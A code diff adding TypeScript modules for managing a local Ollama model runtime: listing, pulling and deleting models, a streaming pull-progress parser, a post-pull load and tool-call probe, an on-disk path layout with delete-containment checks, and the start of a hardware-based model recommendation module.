+    const cause = (err as { cause?: unknown }).cause;
+    return clip(cause instanceof Error && cause.message ? `${err.message}: ${cause.message}` : err.message);
+  }
+  return clip(String(err));
+}
+
+/** The error text of a runtime answer: `{"error":"..."}` (its own routes) or `{"error":{"message":"..."}}` (the OpenAI routes). */
+function errorOfBody(body: unknown): string | undefined {
+  if (!isRecord(body)) return undefined;
+  const { error } = body;
+  if (typeof error === 'string') return asString(error);
+  if (isRecord(error)) return asString(error.message);
+  return undefined;
+}
+
+/** The caller's signal joined with a deadline. */
+function bounded(signal: AbortSignal | undefined, timeoutMs: number): AbortSignal {
+  const deadline = AbortSignal.timeout(timeoutMs);
+  return signal ? AbortSignal.any([signal, deadline]) : deadline;
+}
+
+/** An answer of the runtime: its status and its body as JSON (`undefined` when it is not JSON). */
+interface Answer {
+  status: number;
+  body: unknown;
+  text: string;
+}
+
+/**
+ * One bounded request. `undefined` when nothing answered (refused, timed out, aborted): the
+ * caller looks at its own signal to tell an abort from the rest.
+ */
+async function ask(
+  target: OllamaTarget,
+  path: string,
+  init: { method?: string; json?: unknown },
+  timeoutMs: number,
+  signal?: AbortSignal
+): Promise<Answer | undefined> {
+  const fetchFn = target.fetch ?? fetch;
+  try {
+    const res = await fetchFn(`${target.baseUrl}${path}`, {
+      method: init.method ?? 'GET',
+      ...(init.json !== undefined
+        ? { headers: { 'content-type': 'application/json' }, body: JSON.stringify(init.json) }
+        : {}),
+      signal: bounded(signal, timeoutMs),
+    });
+    const text = await res.text();
+    let body: unknown;
+    try {
+      body = text === '' ? undefined : JSON.parse(text);
+    } catch {
+      body = undefined;
+    }
+    return { status: res.status, body, text };
+  } catch {
+    return undefined;
+  }
+}
+
+/** A digest as it is stored and compared: lowercase hex without the `sha256:` prefix. */
+function normalizeDigest(value: unknown): string {
+  return typeof value === 'string'
+    ? value
+        .trim()
+        .toLowerCase()
+        .replace(/^sha256:/, '')
+    : '';
+}
+
+// ---------- Listings ----------
+
+/** One model of `GET /api/tags`: what is on disk. */
+export interface OllamaTagModel {
+  /** `name:tag`. */
+  name: string;
+  /** Size on disk in bytes. */
+  size: number;
+  /** The model's digest, lowercase hex without a prefix. What is stored and compared again before a session starts. */
+  digest: string;
+  /** `details.format` ('safetensors' for an MLX build, 'gguf'). */
+  format?: string;
+  /** `details.runner` ('mlx', 'ggml'). */
+  runner?: string;
+  /** `capabilities` ('completion', 'tools', 'thinking', 'vision'). */
+  capabilities?: string[];
+}
+
+/** One model of `GET /api/ps`: what is loaded. */
+export interface OllamaPsModel {
+  name: string;
+  /** Memory the loaded model takes, in bytes. */
+  size: number;
+  /** The part of `size` that is on the GPU. Equal to `size` when all of it is. */
+  sizeVram: number;
+  /** The context length the model was loaded with. */
+  contextLength: number;
+  digest?: string;
+}
+
+/** The `models` array of a listing, or an empty one. */
+function modelsOf(answer: Answer | undefined): Record<string, unknown>[] {
+  if (!answer || answer.status !== 200 || !isRecord(answer.body)) return [];
+  const { models } = answer.body;
+  return Array.isArray(models) ? models.filter(isRecord) : [];
+}
+
+/** The runtime's version ('0.40.15'), or `undefined` when nothing answers there or the answer is not a runtime's. */
+export async function getRuntimeVersion(target: OllamaTarget, signal?: AbortSignal): Promise<string | undefined> {
+  const answer = await ask(target, '/api/version', {}, VERSION_TIMEOUT_MS, signal);
+  if (!answer || answer.status !== 200 || !isRecord(answer.body)) return undefined;
+  return asString(answer.body.version);
+}
+
+/** The models on disk. An empty list when the runtime has none or does not answer. */
+export async function listTags(target: OllamaTarget, signal?: AbortSignal): Promise<OllamaTagModel[]> {
+  const listed: OllamaTagModel[] = [];
+  for (const row of modelsOf(await ask(target, '/api/tags', {}, LIST_TIMEOUT_MS, signal))) {
+    const name = asString(row.name) ?? asString(row.model);
+    if (!name) continue;
+    const details = isRecord(row.details) ? row.details : {};
+    const format = asString(details.format);
+    const runner = asString(details.runner) ?? asString(row.runner);
+    const capabilities = Array.isArray(row.capabilities)
+      ? row.capabilities.filter((entry): entry is string => typeof entry === 'string')
+      : undefined;
+    listed.push({
+      name,
+      size: asCount(row.size) ?? 0,
+      digest: normalizeDigest(row.digest),
+      ...(format ? { format } : {}),
+      ...(runner ? { runner } : {}),
+      ...(capabilities ? { capabilities } : {}),
+    });
+  }
+  return listed;
+}
+
+/** The models loaded right now. An empty list when none is or the runtime does not answer. */
+export async function listRunning(target: OllamaTarget, signal?: AbortSignal): Promise<OllamaPsModel[]> {
+  const listed: OllamaPsModel[] = [];
+  for (const row of modelsOf(await ask(target, '/api/ps', {}, LIST_TIMEOUT_MS, signal))) {
+    const name = asString(row.name) ?? asString(row.model);
+    if (!name) continue;
+    const digest = normalizeDigest(row.digest);
+    listed.push({
+      name,
+      size: asCount(row.size) ?? 0,
+      sizeVram: asCount(row.size_vram) ?? 0,
+      contextLength: asCount(row.context_length) ?? 0,
+      ...(digest ? { digest } : {}),
+    });
+  }
+  return listed;
+}
+
+/** The model ids `GET /v1/models` lists, exactly as listed (the runtime answers `data: null` for none). */
+export async function listOpenAiModels(target: OllamaTarget, signal?: AbortSignal): Promise<string[]> {
+  const answer = await ask(target, '/v1/models', {}, LIST_TIMEOUT_MS, signal);
+  if (!answer || answer.status !== 200 || !isRecord(answer.body)) return [];
+  const { data } = answer.body;
+  if (!Array.isArray(data)) return [];
+  return data.flatMap((row) => (isRecord(row) && typeof row.id === 'string' && row.id !== '' ? [row.id] : []));
+}
+
+/** The digest `GET /api/tags` reports for `modelId`, or `undefined` when the model is not on disk. */
+export async function readModelDigest(
+  target: OllamaTarget,
+  modelId: string,
+  signal?: AbortSignal
+): Promise<string | undefined> {
+  const found = (await listTags(target, signal)).find((model) => model.name === modelId);
+  return found && found.digest !== '' ? found.digest : undefined;
+}
+
+/** Deletes a model from the runtime's store. True when it is gone afterwards (also when it never was there). */
+export async function deleteModel(target: OllamaTarget, modelId: string, signal?: AbortSignal): Promise<boolean> {
+  const answer = await ask(
+    target,
+    '/api/delete',
+    { method: 'DELETE', json: { model: modelId } },
+    LIST_TIMEOUT_MS,
+    signal
+  );
+  // 404 is the runtime's answer for a model it does not have.
+  return answer !== undefined && (answer.status === 200 || answer.status === 404);
+}
+
+// ---------- Pull ----------
+
+/** What the pull's lines add up to so far. */
+export interface PullSnapshot {
+  /** Sum of the last `completed` of every layer seen. */
+  completedBytes: number;
+  /** Sum of the `total` of every layer seen. Grows while new layers appear; 0 before the first. */
+  totalBytes: number;
+  /** The `status` text of the last line that had one ('pulling manifest', 'writing manifest'). */
+  status?: string;
+  /** A line `{"status":"success"}` was seen. */
+  succeeded: boolean;
+  /** The text of the first `{"error":"..."}` line. */
+  error?: string;
+  /** How many complete lines were parsed. */
+  lines: number;
+}
+
+/**
+ * Reads a pull stream piece by piece. It keeps the unfinished last line and the totals per
+ * layer, never the lines themselves, so its memory does not grow with the stream.
+ */
+export interface PullParser {
+  /** Feed the next piece of the body. A line may be split anywhere across pieces, a multi-byte character too. */
+  push(chunk: string | Uint8Array): void;
+  /** The body ended: reads a last line that had no line break. */
+  end(): void;
+  snapshot(): PullSnapshot;
+}
+
+/**
+ * A parser for one pull stream. Pure: no IO, no clock. Lines it understands (both real):
+ *
+ *  - an MLX build: `{"status":"pulling model","digest":"sha256:model","total":23105798956,"completed":N}`
+ *  - a GGUF build, one layer after the other:
+ *    `{"status":"pulling c5396e06af29","digest":"sha256:c539...","total":397807936,"completed":N}`
+ *    (`completed` is absent until the layer's first bytes arrived)
+ *  - `{"status":"pulling manifest"}`, `{"status":"verifying sha256 digest"}`,
+ *    `{"status":"writing manifest"}`, `{"status":"success"}`
+ *  - `{"error":"max retries exceeded: local error: tls: bad record MAC"}`
+ *
+ * A line that is not JSON is skipped and still counted. A blank line is not a line.
+ */
+export function createPullParser(): PullParser {
+  const decoder = new TextDecoder();
+  // One entry per layer: what the layer's last line said. A model has a handful of layers.
+  const layers = new Map<string, { total: number; completed: number }>();
+  let pending = '';
+  // True while a line longer than the limit is being skipped up to its line break.
+  let skipping = false;
+  let status: string | undefined;
+  let succeeded = false;
+  let error: string | undefined;
+  let lines = 0;
+
+  function line(text: string): void {
+    const trimmed = text.trim();
+    if (trimmed === '') return;
+    lines += 1;
+    let parsed: unknown;
+    try {
+      parsed = JSON.parse(trimmed);
+    } catch {
+      return;
+    }
+    if (!isRecord(parsed)) return;
+    const failure = errorOfBody(parsed);
+    if (failure !== undefined) {
+      error ??= clip(failure);
+      return;
+    }
+    const lineStatus = asString(parsed.status);
+    if (lineStatus !== undefined) {
+      status = lineStatus;
+      if (lineStatus === 'success') succeeded = true;
+    }
+    const total = asCount(parsed.total);
+    if (total === undefined) return;
+    // A layer is named by its digest; a line without one by its status text.
+    const key = asString(parsed.digest) ?? lineStatus;
+    if (key === undefined) return;
+    const known = layers.get(key);
+    if (!known && layers.size >= MAX_PULL_LAYERS) return;
+    // `completed` is absent until the layer's first bytes arrived: what was seen before stays.
+    const completed = asCount(parsed.completed) ?? known?.completed ?? 0;
+    layers.set(key, { total, completed: Math.min(completed, total) });
+  }
+
+  function feed(text: string): void {
+    let rest = text;
+    for (;;) {
+      const breakAt = rest.indexOf('\n');
+      if (breakAt < 0) break;
+      const head = rest.slice(0, breakAt);
+      rest = rest.slice(breakAt + 1);
+      if (skipping) {
+        // The end of the line that was too long: it was counted when it was dropped.
+        skipping = false;
+      } else {
+        line(pending + head);
+      }
+      pending = '';
+    }
+    if (skipping) return;
+    pending += rest;
+    if (pending.length > MAX_PULL_LINE_CHARS) {
+      pending = '';
+      skipping = true;
+      lines += 1;
+    }
+  }
+
+  return {
+    push(chunk) {
+      feed(typeof chunk === 'string' ? chunk : decoder.decode(chunk, { stream: true }));
+    },
+    end() {
+      feed(decoder.decode());
+      if (!skipping && pending !== '') line(pending);
+      pending = '';
+      skipping = false;
+    },
+    snapshot() {
+      let completedBytes = 0;
+      let totalBytes = 0;
+      for (const layer of layers.values()) {
+        completedBytes += layer.completed;
+        totalBytes += layer.total;
+      }
+      return {
+        completedBytes,
+        totalBytes,
+        ...(status !== undefined ? { status } : {}),
+        succeeded,
+        ...(error !== undefined ? { error } : {}),
+        lines,
+      };
+    },
+  };
+}
+
+/** How far a pull is, for the caller's progress display. */
+export interface PullProgress {
+  completedBytes: number;
+  totalBytes: number;
+  /** Over the last few seconds. Absent until it can be told. */
+  bytesPerSecond?: number;
+}
+
+export interface PullOptions {
+  /** Aborts the request, which stops the download. The result is `cancelled`. */
+  signal?: AbortSignal;
+  /** Called at most a few times a second, and once more when the pull ends. */
+  onProgress?: (progress: PullProgress) => void;
+  /** Default `PULL_RETRIES`. */
+  retries?: number;
+  /** Waits between retries. A test injects its own. */
+  sleep?: (ms: number) => Promise<void>;
+  /** The clock of the speed figure, in milliseconds. A test injects its own. */
+  now?: () => number;
+}
+
+/** How a pull ended. */
+export type PullResult =
+  | {
+      ok: true;
+      /** The pull's own total: what every size shown for the model comes from once it is known. */
+      totalBytes: number;
+    }
+  | {
+      ok: false;
+      code: Extract<LocalModelErrorCode, 'pull-failed' | 'model-not-found' | 'disk-full'>;
+      /** The runtime's last error text. */
+      detail?: string;
+    }
+  | { ok: false; code: 'cancelled' };
+
+/** How one request of a pull ended. */
+type PullAttempt =
+  | { kind: 'success'; totalBytes: number }
+  | { kind: 'cancelled' }
+  | { kind: 'fatal'; code: 'model-not-found' | 'disk-full'; detail: string }
+  | { kind: 'retry'; detail: string };
+
+/**
+ * What an error text of the runtime means for the pull. A model the registry does not have and
+ * a full disk do not get better by asking again; everything else (a damaged download, a
+ * dropped connection) may.
+ */
+function classifyPullError(text: string): PullAttempt {
+  const detail = clip(text);
+  if (/file does not exist|manifest unknown|manifest\b.*\bnot found|model\b.*\bnot found/i.test(text)) {
+    return { kind: 'fatal', code: 'model-not-found', detail };
+  }
+  if (/no space left on device|disk (is )?full|not enough (free )?(disk )?space/i.test(text)) {
+    return { kind: 'fatal', code: 'disk-full', detail };
+  }
+  return { kind: 'retry', detail };
+}
+
+/** A wait that ends early when the signal aborts. */
+function waitFor(ms: number, signal?: AbortSignal): Promise<void> {
+  return new Promise((resolve) => {
+    if (signal?.aborted) return resolve();
+    const done = (): void => {
+      clearTimeout(timer);
+      signal?.removeEventListener('abort', done);
+      resolve();
+    };
+    const timer = setTimeout(done, ms);
+    signal?.addEventListener('abort', done, { once: true });
+  });
+}
+
+/** One `POST /api/pull`, read to its end. */
+async function pullOnce(target: OllamaTarget, modelId: string, options: PullOptions): Promise<PullAttempt> {
+  const { signal, onProgress } = options;
+  const now = options.now ?? Date.now;
+  const fetchFn = target.fetch ?? fetch;
+  let res: Response;
+  try {
+    res = await fetchFn(`${target.baseUrl}/api/pull`, {
+      method: 'POST',
+      headers: { 'content-type': 'application/json' },
+      body: JSON.stringify({ model: modelId, stream: true }),
+      ...(signal ? { signal } : {}),
+    });
+  } catch (err) {
+    return signal?.aborted ? { kind: 'cancelled' } : { kind: 'retry', detail: errorText(err) };
+  }
+
+  const parser = createPullParser();
+  // The speed is the bytes of the last few seconds: (when, how far) pairs, the oldest first.
+  const samples: { at: number; completed: number }[] = [];
+  let lastReport = Number.NEGATIVE_INFINITY;
+  const report = (force: boolean): void => {
+    if (!onProgress) return;
+    const at = now();
+    if (!force && at - lastReport < PULL_PROGRESS_INTERVAL_MS) return;
+    const snap = parser.snapshot();
+    // Before the first layer line there is no size to show.
+    if (snap.totalBytes <= 0) return;
+    lastReport = at;
+    samples.push({ at, completed: snap.completedBytes });
+    while (samples.length > 2 && at - samples[1].at >= PULL_SPEED_WINDOW_MS) samples.shift();
+    const first = samples[0];
+    const seconds = (at - first.at) / 1000;
+    const moved = snap.completedBytes - first.completed;
+    try {
+      onProgress({
+        completedBytes: snap.completedBytes,
+        totalBytes: snap.totalBytes,
+        ...(seconds > 0 && moved >= 0 ? { bytesPerSecond: Math.round(moved / seconds) } : {}),
+      });
+    } catch {
+      // A display that fails must not fail the download.
+    }
+  };
+
+  let streamError: string | undefined;
+  try {
+    if (res.body) {
+      for await (const chunk of res.body as unknown as AsyncIterable<Uint8Array>) {
+        parser.push(chunk);
+        report(false);
+      }
+    }
+  } catch (err) {
+    streamError = errorText(err);
+  }
+  // An abort ends the stream with an error too: it is a cancel, not a cut.
+  if (signal?.aborted) return { kind: 'cancelled' };
+  parser.end();
+  const snap = parser.snapshot();
+
+  if (snap.error !== undefined) return classifyPullError(snap.error);
+  if (res.status !== 200) return classifyPullError(`The runtime answered ${res.status} to the pull`);
+  if (!snap.succeeded) {
+    return { kind: 'retry', detail: streamError ?? 'The download ended before the runtime reported success' };
+  }
+  report(true);
+  if (snap.totalBytes > 0) return { kind: 'success', totalBytes: snap.totalBytes };
+  // A pull of a model that was already complete may name no layer. The size is then what the
+  // runtime lists for the model, which is the same figure a full pull reports as its total.
+  const listed = (await listTags(target, signal)).find((model) => model.name === modelId);
+  return { kind: 'success', totalBytes: listed?.size ?? 0 };
+}
+
+/** Pulls `modelId` and waits for the end. Resuming is calling it again. Never throws. */
+export async function pullModel(target: OllamaTarget, modelId: string, options: PullOptions = {}): Promise<PullResult> {
+  const { signal } = options;
+  const retries =
+    options.retries !== undefined && Number.isInteger(options.retries) && options.retries >= 0
+      ? options.retries
+      : PULL_RETRIES;
+  const sleep = options.sleep ?? ((ms: number) => waitFor(ms, signal));
+  let lastDetail: string | undefined;
+  for (let attempt = 0; attempt <= retries; attempt++) {
+    if (signal?.aborted) return { ok: false, code: 'cancelled' };
+    if (attempt > 0) {
+      await sleep(PULL_RETRY_DELAY_MS * 2 ** (attempt - 1));
+      if (signal?.aborted) return { ok: false, code: 'cancelled' };
+    }
+    let outcome: PullAttempt;
+    try {
+      outcome = await pullOnce(target, modelId, options);
+    } catch (err) {
+      // Only an injected `fetch` or clock can throw here. It must not end the pull as a crash.
+      outcome = { kind: 'retry', detail: errorText(err) };
+    }
+    if (outcome.kind === 'success') return { ok: true, totalBytes: outcome.totalBytes };
+    if (outcome.kind === 'cancelled') return { ok: false, code: 'cancelled' };
+    if (outcome.kind === 'fatal') return { ok: false, code: outcome.code, detail: outcome.detail };
+    lastDetail = outcome.detail;
+  }
+  return { ok: false, code: 'pull-failed', ...(lastDetail !== undefined ? { detail: lastDetail } : {}) };
+}
+
+// ---------- The check after the pull ----------
+
+/** The codes the check can end on. */
+export type VerifyFailureCode = Extract<
+  LocalModelErrorCode,
+  'load-failed' | 'does-not-fit' | 'context-not-applied' | 'no-tool-call' | 'probe-unfinished'
+>;
+
+/** What the runtime reported about the loaded model. */
+export interface LoadedModel {
+  context: number;
+  sizeBytes: number;
+  sizeVramBytes: number;
+}
+
+/** The body of the tiny chat that loads the model: one short user message, `reasoning_effort: "none"`, a small `max_tokens`. Pure. */
+export function buildChatProbeRequest(modelId: string): Record<string, unknown> {
+  return {
+    model: modelId,
+    messages: [{ role: 'user', content: 'Reply with the single word: ready' }],
+    reasoning_effort: 'none',
+    max_tokens: CHAT_PROBE_MAX_TOKENS,
+    temperature: 0,
+    stream: false,
+  };
+}
+
+/** A function tool of the tool probe, in the shape `/v1/chat/completions` takes. */
+function probeTool(name: string, description: string, properties: Record<string, string>): Record<string, unknown> {
+  return {
+    type: 'function',
+    function: {
+      name,
+      description,
+      parameters: {
+        type: 'object',
+        properties: Object.fromEntries(
+          Object.entries(properties).map(([key, about]) => [key, { type: 'string', description: about }])
+        ),
+        required: Object.keys(properties),
+      },
+    },
+  };
+}
+
+/** The body of the tool probe: a `tools` array, `reasoning_effort: "none"`, `max_tokens: TOOL_PROBE_MAX_TOKENS`. Pure. */
+export function buildToolProbeRequest(modelId: string): Record<string, unknown> {
+  return {
+    model: modelId,
+    messages: [
+      { role: 'system', content: 'You are a coding agent. Use the tools you are given to do what the user asks.' },
+      { role: 'user', content: 'Read the file README.md and tell me what it says.' },
+    ],
+    // The three tools a coding agent always has. The task needs the first.
+    tools: [
+      probeTool('read_file', 'Read a file and return its content.', { path: 'The path of the file.' }),
+      probeTool('write_file', 'Write a file.', { path: 'The path of the file.', content: 'The new content.' }),
+      probeTool('run_command', 'Run a shell command and return its output.', { command: 'The command line.' }),
+    ],
+    reasoning_effort: 'none',
+    max_tokens: TOOL_PROBE_MAX_TOKENS,
+    temperature: 0,
+    stream: false,
+  };
+}
+
+/**
+ * Judges the process list after the chat. Pure.
+ *  - the model is not listed: `load-failed`;
+ *  - `sizeVram` is not `size`: `does-not-fit` (part of the model is not on the GPU);
+ *  - `contextLength` is not `context`: `context-not-applied`.
+ */
+export function judgeLoaded(
+  models: readonly OllamaPsModel[],
+  modelId: string,
+  context: number
+): { ok: true; loaded: LoadedModel } | { ok: false; code: VerifyFailureCode; detail?: string } {
+  const model = models.find((entry) => entry.name === modelId);
+  if (!model) return { ok: false, code: 'load-failed', detail: 'The runtime does not list the model as loaded' };
+  if (model.size <= 0)
+    return { ok: false, code: 'load-failed', detail: 'The runtime reports no size for the loaded model' };
+  if (model.sizeVram !== model.size) {
+    return {
+      ok: false,
+      code: 'does-not-fit',
+      // A size a person reads: decimal GB, like every other size of this feature.
+      detail: `${formatGb(model.sizeVram)} of ${formatGb(model.size)} GB of the model are on the GPU`,
+    };
+  }
+  if (model.contextLength !== context) {
+    return {
+      ok: false,
+      code: 'context-not-applied',
+      detail: `The runtime reports a context of ${model.contextLength} tokens, not ${context}`,
+    };
+  }
+  return { ok: true, loaded: { context: model.contextLength, sizeBytes: model.size, sizeVramBytes: model.sizeVram } };
+}
+
+/** Whether the arguments of a tool call are a JSON object: as text that parses to one, or already as one. */
+function argumentsAreObject(value: unknown): boolean {
+  if (isRecord(value)) return true;
+  if (typeof value !== 'string') return false;
+  try {
+    return isRecord(JSON.parse(value));
+  } catch {
+    return false;
+  }
+}
+
+/**
+ * Judges the answer of the tool probe. Pure. `status` is the HTTP status, `body` the parsed
+ * JSON (or `undefined` when it did not parse).
+ *  - a tool call whose `arguments` parse as a JSON object: passed (when the answer holds
+ *    several calls, every one must have a name and such arguments);
+ *  - `finish_reason` is `length`: `probe-unfinished` (the token limit ended it, so it proves nothing);
+ *  - any other answer of status 200: `no-tool-call`;
+ *  - another status: `load-failed`.
+ */
+export function judgeToolProbe(
+  status: number,
+  body: unknown
+): { ok: true } | { ok: false; code: VerifyFailureCode; detail?: string } {
+  if (status !== 200) {
+    const said = errorOfBody(body);
+    return { ok: false, code: 'load-failed', detail: clip(said ?? `The runtime answered ${status}`) };
+  }
+  const choice = isRecord(body) && Array.isArray(body.choices) ? body.choices[0] : undefined;
+  const message = isRecord(choice) && isRecord(choice.message) ? choice.message : undefined;
+  const calls = message && Array.isArray(message.tool_calls) ? message.tool_calls : [];
+  if (calls.length > 0) {
+    const wellFormed = calls.every(
+      (call) =>
+        isRecord(call) &&
+        isRecord(call.function) &&
+        asString(call.function.name) !== undefined &&
+        argumentsAreObject(call.function.arguments)
+    );
+    if (wellFormed) return { ok: true };
+    return { ok: false, code: 'no-tool-call', detail: 'The model called a tool with arguments that are not JSON' };
+  }
+  if (isRecord(choice) && choice.finish_reason === 'length') {
+    return { ok: false, code: 'probe-unfinished', detail: `The answer ended at ${TOOL_PROBE_MAX_TOKENS} tokens` };
+  }
+  const said = message ? asString(message.content) : undefined;
+  return {
+    ok: false,
+    code: 'no-tool-call',
+    detail: said ? clip(`The model answered in text: ${said}`) : 'The answer holds no tool call',
+  };
+}
+
+/** How the check ended. */
+export type VerifyResult =
+  | { ok: true; loaded: LoadedModel }
+  | { ok: false; code: VerifyFailureCode; detail?: string }
+  | { ok: false; code: 'cancelled' };
+
+/**
+ * The whole check, in order: the chat, the process list, the tool probe. Stops at the first
+ * failure. Never throws.
+ */
+export async function verifyModel(
+  target: OllamaTarget,
+  modelId: string,
+  context: number,
+  signal?: AbortSignal
+): Promise<VerifyResult> {
+  const cancelled: VerifyResult = { ok: false, code: 'cancelled' };
+  if (signal?.aborted) return cancelled;
+
+  // 1. The chat that loads the model. Its text is not read: only that it was answered.
+  const chat = await ask(
+    target,
+    '/v1/chat/completions',
+    { method: 'POST', json: buildChatProbeRequest(modelId) },
+    CHAT_PROBE_TIMEOUT_MS,
+    signal
+  );
+  if (signal?.aborted) return cancelled;
+  if (!chat) return { ok: false, code: 'load-failed', detail: 'The runtime did not answer the first request' };
+  if (chat.status !== 200) {
+    return {
+      ok: false,
+      code: 'load-failed',
+      detail: clip(errorOfBody(chat.body) ?? `The runtime answered ${chat.status}`),
+    };
+  }
+
+  // 2. What the runtime says it loaded.
+  const judged = judgeLoaded(await listRunning(target, signal), modelId, context);
+  if (signal?.aborted) return cancelled;
+  if (!judged.ok) return judged;
+
+  // 3. One tool call.
+  const probe = await ask(
+    target,
+    '/v1/chat/completions',
+    { method: 'POST', json: buildToolProbeRequest(modelId) },
+    TOOL_PROBE_TIMEOUT_MS,
+    signal
+  );
+  if (signal?.aborted) return cancelled;
+  if (!probe)
+    return { ok: false, code: 'probe-unfinished', detail: 'The runtime did not answer the tool request in time' };
+  const tool = judgeToolProbe(probe.status, probe.body);
+  if (!tool.ok) return tool;
+  return { ok: true, loaded: judged.loaded };
+}

src/local-model/paths.ts

@@ -0,0 +1,100 @@
+/**
+ * @fileoverview Where everything of the local model lives on disk. One pure function, so the
+ * runtime, the install job and uninstall all name the same folders.
+ *
+ * Layout, all under the data dir (`dataPath()`, so a second Codeman instance has its own):
+ *
+ * ```
+ * local-model.json                          the state file (mode 0600)
+ * local-model/
+ *   runtime/ollama-<version>.tgz.partial    the runtime archive while it downloads
+ *   runtime/ollama-<version>.unpack/        where the archive is unpacked, before the rename
+ *   runtime/ollama-<version>/               the unpacked runtime; its binary is `ollama`
+ *   models/                                 the runtime's model store
+ *   home/                                   the runtime's private HOME (its key pair lands here)
+ * ```
+ *
+ * Rules:
+ *  - `root` is the ONE folder this feature owns. Nothing is written or deleted outside it,
+ *    except the state file beside it and the two writes of the connect step (the endpoint
+ *    record and the settings flag), which have their own writers.
+ *  - Every path comes from here. None is ever read back from the state file, so a state file
+ *    cannot point a delete anywhere else. `isInsideLocalModelRoot()` is the check a delete
+ *    makes before it runs.
+ *  - Pure apart from `dataPath()`, which resolves (and creates) the data dir.
+ */
+
+import { join, resolve, sep } from 'node:path';
+import { dataPath } from '../config/instance.js';
+
+/** A runtime version as it may appear in a folder name: digits and dots only ('0.40.15'). */
+const VERSION_PATTERN = /^\d+(?:\.\d+){1,3}$/;
+
+export interface LocalModelPaths {
+  /** `<data dir>/local-model`: the one folder this feature owns. */
+  root: string;
+  /** `<root>/runtime`: the archive and every unpacked version. */
+  runtimeRoot: string;
+  /** `<root>/runtime/ollama-<version>`: the unpacked runtime. */
+  runtimeDir: string;
+  /** The runtime's binary: `<runtimeDir>/ollama`. */
+  binary: string;
+  /** `<root>/runtime/ollama-<version>.tgz.partial`: the archive while it downloads. */
+  archivePartial: string;
+  /** `<root>/runtime/ollama-<version>.unpack`: the temporary folder the archive is unpacked into. */
+  unpackDir: string;
+  /** `<root>/models`: the runtime's model store. */
+  modelsDir: string;
+  /** `<root>/home`: the runtime's private HOME. */
+  homeDir: string;
+  /** `<data dir>/local-model.json`: the state file. */
+  stateFile: string;
+}
+
+/**
+ * The paths of the local model for one runtime version. Throws on a version that is not
+ * digits and dots, so a version string can never add a path segment.
+ */
+export function localModelPaths(version: string): LocalModelPaths {
+  if (!VERSION_PATTERN.test(version)) {
+    throw new Error(`Not a runtime version: ${JSON.stringify(version)}`);
+  }
+  const root = dataPath('local-model');
+  const runtimeRoot = join(root, 'runtime');
+  const runtimeDir = join(runtimeRoot, `ollama-${version}`);
+  return {
+    root,
+    runtimeRoot,
+    runtimeDir,
+    binary: join(runtimeDir, 'ollama'),
+    archivePartial: join(runtimeRoot, `ollama-${version}.tgz.partial`),
+    unpackDir: join(runtimeRoot, `ollama-${version}.unpack`),
+    modelsDir: join(root, 'models'),
+    homeDir: join(root, 'home'),
+    stateFile: dataPath('local-model.json'),
+  };
+}
+
+/**
+ * The binary of another unpacked runtime version beside the pinned one: `<runtimeRoot>/
+ * ollama-<version>/ollama`. For an installed model whose runtime was unpacked by an earlier
+ * build with another pin: it keeps running the version it was installed with. Throws on a
+ * version that is not digits and dots, like `localModelPaths()`. Pure.
+ */
+export function runtimeBinaryForVersion(paths: LocalModelPaths, version: string): string {
+  if (!VERSION_PATTERN.test(version)) {
+    throw new Error(`Not a runtime version: ${JSON.stringify(version)}`);
+  }
+  return join(paths.runtimeRoot, `ollama-${version}`, 'ollama');
+}
+
+/**
+ * Whether `path` is the local model folder itself or lies inside it, judged on the resolved
+ * text (no filesystem access, so a symlink is not followed: a caller that deletes checks the
+ * real path first). `..` segments are resolved before the comparison.
+ */
+export function isInsideLocalModelRoot(path: string, root: string = dataPath('local-model')): boolean {
+  const base = resolve(root);
+  const target = resolve(path);
+  return target === base || target.startsWith(base + sep);
+}

src/local-model/recommend.ts

@@ -0,0 +1,522 @@
+/**
+ * @fileoverview The recommendation itself: which model, at which context, with which harness
+ * fits this Mac. Pure: no IO, no clock, no CLI registry, no data dir.
+ *
+ * The math, in the order it runs:
+ *  - `deviceBudget()`. ESTIMATED (all there is before the runtime ran): L is the wired limit
+ *    when it is above 0, else 2/3 of memory below 36 GB and 3/4 from 36 GB, and
+ *    B = min(L - 1 GiB, memory - reserve), with a reserve of 6 GiB up to 18 GB, 8 GiB up to
+ *    48 GB and 12 GiB above. MEASURED (`RecommendOptions.measuredTotalBytes`, the device total
+ *    the runtime printed when it started): L is that total and B = min(L, memory - reserve),
+ *    without the 1 GiB, because the figure is already what the runtime will really use.
+ *  - `needBytes()`: the PEAK, `bytes + heldBytesPerToken * ctx + overheadBytes +
+ *    peakExtraBytes` of the catalogue row: the weights, what stays held per token of context,
+ *    what the runner holds beside both, and what it takes for a moment while a long prompt is
+ *    processed. Measured for one model on one Mac (see the catalogue header); every other row
+ *    carries the same figures and says `estimated`.
+ *  - Fit: need over budget up to 0.85 is good, up to 0.98 is tight, above is out. The grade
+ *    decides whether a model is offered at all and what its row says. It does NOT sort: the
+ *    need is the worst moment at the full context, so a tight fit is a model that runs, and a
+ *    Mac whose best model is tight should be offered that model, not a smaller one.
+ *  - Speed: a candidate that matches a `tested` entry with a measured speed reports that
+ *    speed. Every other one is estimated: the model's `speedPer100Gbps` x the chip's bandwidth
+ *    / 100. Below 10 is slow, decided on the unrounded figure (9.96 is slow although it prints
+ *    as 10). A chip that is in no chips row, or a model without a speed figure, is UNKNOWN: a
+ *    bandwidth is never guessed.
+ *  - Candidates: (model, context, harness) with `ctx >= harness.minContext`, the harness not
+ *    gated, installed or installable, and accepting the model id.
+ *  - Ranking, lexicographic: tested on a Mac like this before not tested (a measurement beats
+ *    a formula); ok before unknown before slow; the higher model rank; the higher harness
+ *    rank; the larger context. The pick is the first candidate, the alternatives are the next
+ *    four MODELS, each at its own best context and harness, so a model is always offered at
+ *    the largest context it fits at.
+ *  - Disk: a model whose download would leave less than 10 GiB free is not offered. It is not
+ *    dropped in silence: the best-ranked model left out that way is named in `noteDiskDropped`
+ *    with what is missing.
+ *
+ * Verdict `none`, in this order (the first that applies is the reason):
+ *  1. `not-macos`: the server does not run on macOS.
+ *  2. `intel`: a Mac without Apple silicon.
+ *  3. `macos`: macOS is older than the catalogue's minimum (an unknown version does not block).
+ *  4. `memory`: no model fits the budget at any of its contexts, whatever the harness
+ *     (`noneMemory`, or `noneMemoryUnknown` when the memory size could not be read).
+ *  5. `no-harness`: no harness row is usable (not gated, known to the caller, installed or
+ *     installable).
+ *  6. `memory`: models fit, but none at a context a usable harness needs. Its own sentence
+ *     (`noneMemoryContext`) with the budget and the smallest need at such a context, because
+ *     "too little memory" would hide that a model does fit at a smaller context and that the
+ *     answer rests on estimates.
+ *  7. `no-harness`: models fit at such a context, but no usable harness accepts their id.
